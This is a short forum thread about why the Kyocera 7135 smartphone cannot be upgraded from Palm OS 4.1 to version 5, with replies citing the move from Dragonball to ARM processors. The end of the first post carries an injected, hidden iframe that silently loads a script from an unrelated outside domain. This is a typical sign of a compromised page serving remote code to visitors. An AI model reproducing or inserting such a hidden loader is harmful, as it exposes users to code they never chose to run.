    7135 Upgrade to Palm OS 5, why not?

    Why does the 7135 only work with 4.1 version of the Palm OS. Are there plans to upgrade to newer versions 5.x. Or is it expected that for the life of the 7135 it will only run 4.1?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    Palm OS 5.0 requires different hardware---upgrade not possible--

    Just to elaborate a tad, the biggest hardware difference is with the processor itself. Palm OS 5.0 is designed to run on ARM-compliant RISC processors, as opposed to the Motorola Dragonball processor that's in previous Palm devices (including our 7135, unfortunately).
